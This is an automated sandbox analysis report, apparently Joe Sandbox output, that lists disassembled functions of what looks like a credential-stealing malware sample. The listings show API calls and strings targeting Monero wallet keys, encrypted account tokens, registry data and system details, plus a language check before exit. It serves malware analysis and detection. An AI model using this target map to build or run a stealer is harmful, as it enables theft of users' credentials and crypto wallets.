Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 50c155ab36c4999e7e6e5dbf1be053508aa9d356cfb308af49be3c832f65282c
Instruction ID: 4c847b5f92547aa9aa4c472592747f4427b2d474b6c25edaf03a9891157dcf63
Opcode Fuzzy Hash: 50c155ab36c4999e7e6e5dbf1be053508aa9d356cfb308af49be3c832f65282c
Instruction Fuzzy Hash: 685151B1900218ABEF21DF50DC46FEE77B8EB44705F104498A609AB181DB786E89DF56

Function 003BBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

lstrlen.KERNEL32(00000000), ref: 003BBC9F

Part of subcall function 003C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 003C8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 003BBCCD
lstrlen.KERNEL32(00000000), ref: 003BBDA5
lstrlen.KERNEL32(00000000), ref: 003BBDB9

Strings

AccountTokens, xrefs: 003BBB49
AccountId, xrefs: 003BBCC4
AccountTokens, xrefs: 003BBABA
SELECT service, encrypted_token FROM token_service, xrefs: 003BBBEB

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 8490720ec5494e58dad2468ed78b6902623de664aa42ef0feaf44a688d966781
Instruction ID: 8b349ba6630c5a84d4919631cb095fd2e3d384b74774e7fe4c4b960573f107c5
Opcode Fuzzy Hash: 8490720ec5494e58dad2468ed78b6902623de664aa42ef0feaf44a688d966781
Instruction Fuzzy Hash: 29B14F7291060CABCB16EBA0DC96FEE7738AF14304F40411DF506EA191EF346E49DBA2

Function 003C6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 003C6774
ExitProcess.KERNEL32 ref: 003C67A5
ExitProcess.KERNEL32 ref: 003C67AF
ExitProcess.KERNEL32 ref: 003C67B9
ExitProcess.KERNEL32 ref: 003C67C3
ExitProcess.KERNEL32 ref: 003C67CD

Strings

*, xrefs: 003C678C

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: f9afa345c12018d2eae8d1ec2b603b5f23400d18394b99d0ac7edb34d965273b
Instruction ID: a79ac0625bf06b943f8941eb23a973f99bbf764d110ce332375c1318bccb9d38
Opcode Fuzzy Hash: f9afa345c12018d2eae8d1ec2b603b5f23400d18394b99d0ac7edb34d965273b
Instruction Fuzzy Hash: 70F03A70905209EFD344AFE0A90AF3C7B74FB15702F040198E609C6290D6786A42EBD7

Function 003B4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 003B4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 003B4FD1
InternetOpenA.WININET(003D0DDF,00000000,00000000,00000000,00000000), ref: 003B4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 003B5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 003B5041
InternetCloseHandle.WININET(?), ref: 003B50B9
InternetCloseHandle.WININET(?), ref: 003B50C6

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 5d75d00cb2f136057a69f090ea651992e8fb4f13ccfceec23e2734b0ef4a2cf7
Instruction ID: bb6e9930901096d5d6535788ff3f0029f44c2ef69ed8ae39b9b69aa5b6796ac3
Opcode Fuzzy Hash: 5d75d00cb2f136057a69f090ea651992e8fb4f13ccfceec23e2734b0ef4a2cf7
Instruction Fuzzy Hash: 3431E6F4A00218ABDB20DF54DC85BEDB7B4EB48704F1081D9EB09A7281D7746E85DF99

Function 003C8100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0108E3E0,00000000,?,003D0E2C,00000000,?,00000000), ref: 003C8130
RtlAllocateHeap.NTDLL(00000000), ref: 003C8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 003C8158
wsprintfA.USER32 ref: 003C81AC

Strings

%d MB, xrefs: 003C81A3
@, xrefs: 003C814D

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 7c222c684260b151f3e4f43421d56f02b2afd62acf0ee7c741a1f4eeb7b7dc48
Instruction ID: 29721bd04ae949e26c84d7c6cc42b4900d7e71cb4257753559b294a54e916ff3
Opcode Fuzzy Hash: 7c222c684260b151f3e4f43421d56f02b2afd62acf0ee7c741a1f4eeb7b7dc48
Instruction Fuzzy Hash: ED214AB1E44208ABDB00DFD4DC49FAEB7B8FB44B10F104619F605FB280D7B869058BA6

Function 003C83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 003C8426
wsprintfA.USER32 ref: 003C8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 003C847B
RegCloseKey.ADVAPI32(00000000), ref: 003C848C
RegCloseKey.ADVAPI32(00000000), ref: 003C8499

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

RegQueryValueExA.ADVAPI32(00000000,0108E2D8,00000000,000F003F,?,00000400), ref: 003C84EC
lstrlen.KERNEL32(?), ref: 003C8501
RegQueryValueExA.ADVAPI32(00000000,0108E260,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,003D0B34), ref: 003C8599
RegCloseKey.ADVAPI32(00000000), ref: 003C8608
RegCloseKey.ADVAPI32(00000000), ref: 003C861A

Strings

%s\%s, xrefs: 003C844D

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 817c8640f7a3461a7dc5717c3fc23fb243e9ec87061811771982600a308b6b4e
Instruction ID: c70d5beb1f4cedb2f641c68381e998d21180b193c8f935f36136821ecee6ad10
Opcode Fuzzy Hash: 817c8640f7a3461a7dc5717c3fc23fb243e9ec87061811771982600a308b6b4e
Instruction Fuzzy Hash: 6F2107B190021CABDB24DB54DC85FE9B3B8FB48700F00C199E609A6140DF75AE85CFD5

Function 003C7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C76A4
RtlAllocateHeap.NTDLL(00000000), ref: 003C76AB
RegOpenKeyExA.ADVAPI32(80000002,0107C3C8,00000000,00020119,00000000), ref: 003C76DD
RegQueryValueExA.ADVAPI32(00000000,0108E188,00000000,00000000,?,000000FF), ref: 003C76FE
RegCloseKey.ADVAPI32(00000000), ref: 003C7708

Strings

Windows 11, xrefs: 003C76BD

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: b497db51f70792eaa88b22fe8c34f5073883920e04588d228c3dfb8609a54ea2
Instruction ID: ea2b0a26e58897f281ae0e947e730695a64ec4350a0d508d08704cb289aa3262
Opcode Fuzzy Hash: b497db51f70792eaa88b22fe8c34f5073883920e04588d228c3dfb8609a54ea2
Instruction Fuzzy Hash: 4E0144F5A44208BBD700DBE4DC49F79B7B8EB58701F104458FE08D7291D6B49904DF52

Function 003C7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C7734
RtlAllocateHeap.NTDLL(00000000), ref: 003C773B
RegOpenKeyExA.ADVAPI32(80000002,0107C3C8,00000000,00020119,003C76B9), ref: 003C775B
RegQueryValueExA.ADVAPI32(003C76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 003C777A
RegCloseKey.ADVAPI32(003C76B9), ref: 003C7784

Strings

CurrentBuildNumber, xrefs: 003C7771

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 53a41c90866e816f83022be59d95ef1cf843d63afd6d6fbff17b90e5bc52a9a2
Instruction ID: d1c3a48c1d02e7ed2676f8490da3da317c29b4db69d1c358c65fd46f3afc253e
Opcode Fuzzy Hash: 53a41c90866e816f83022be59d95ef1cf843d63afd6d6fbff17b90e5bc52a9a2
Instruction Fuzzy Hash: B801F4F5A40308BBD700DBE4DC49FBEB7B8EB58705F104559FA09E7281D6B46A04DB52

Function 003C92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:<,80000000,00000003,00000000,00000003,00000080,00000000,?,003C3AEE,?), ref: 003C92FC
GetFileSizeEx.KERNEL32(000000FF,:<), ref: 003C9319
CloseHandle.KERNEL32(000000FF), ref: 003C9327

Strings

:<, xrefs: 003C9311, 003C933D, 003C9314
:<, xrefs: 003C92F8, 003C92FB

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :<$:<
API String ID: 1378416451-3602519871
Opcode ID: bf632e79d7803aa5d97ed97156a55f01e0fbf6d4586aee1ff320fc3b220a7b61
Instruction ID: c72d0dcd150087e7a7636330a3ebcbc2f555d59894d98e752ce3a3a416872c1b
Opcode Fuzzy Hash: bf632e79d7803aa5d97ed97156a55f01e0fbf6d4586aee1ff320fc3b220a7b61
Instruction Fuzzy Hash: CDF06978E00208ABDB10DBA0DC48FAE77B9EB58310F118658A615EB2C0E674AA019F41

Function 003C40B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 003C40D5
RegOpenKeyExA.ADVAPI32(80000001,0108DCC0,00000000,00020119,?), ref: 003C40F4
RegQueryValueExA.ADVAPI32(?,0108E5D8,00000000,00000000,00000000,000000FF), ref: 003C4118
RegCloseKey.ADVAPI32(?), ref: 003C4122
lstrcat.KERNEL32(?,00000000), ref: 003C4147
lstrcat.KERNEL32(?,0108E518), ref: 003C415B

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 59bc8e92497ae53bbf46cce14300a90cb1ee30a8718e8adf6a06eb7cab512513
Instruction ID: e9c00bd7f9cae08cd9909de0afa4d0a4de52494c3971178b5d0ebcd673d1bd51
Opcode Fuzzy Hash: 59bc8e92497ae53bbf46cce14300a90cb1ee30a8718e8adf6a06eb7cab512513
Instruction Fuzzy Hash: 7D41C9B69001086BDB25EBA0DC56FFD733DA798300F40455CB719DA181EA755B8CCBA3

Function 003B99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003B99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 003B9A11
LocalAlloc.KERNEL32(00000040,?), ref: 003B9A31
ReadFile.KERNEL32(000000FF,?,00000000,003B148F,00000000), ref: 003B9A5A
LocalFree.KERNEL32(003B148F), ref: 003B9A90
CloseHandle.KERNEL32(000000FF), ref: 003B9A9A

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 859882abf5eb2d799d021389ce371f4b464c155afba2859eb5ba792637f72558
Instruction ID: 773ac2a541669889e8f121242a5ee72838f2d82e3db1c1fa7db2aed3eebb0c3b
Opcode Fuzzy Hash: 859882abf5eb2d799d021389ce371f4b464c155afba2859eb5ba792637f72558
Instruction Fuzzy Hash: D3314AB4A00209EFDB11CF94C885FEE77B8FF48344F108159EA05A7290D778A945CFA1

Function 003CC84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 003CC8BF
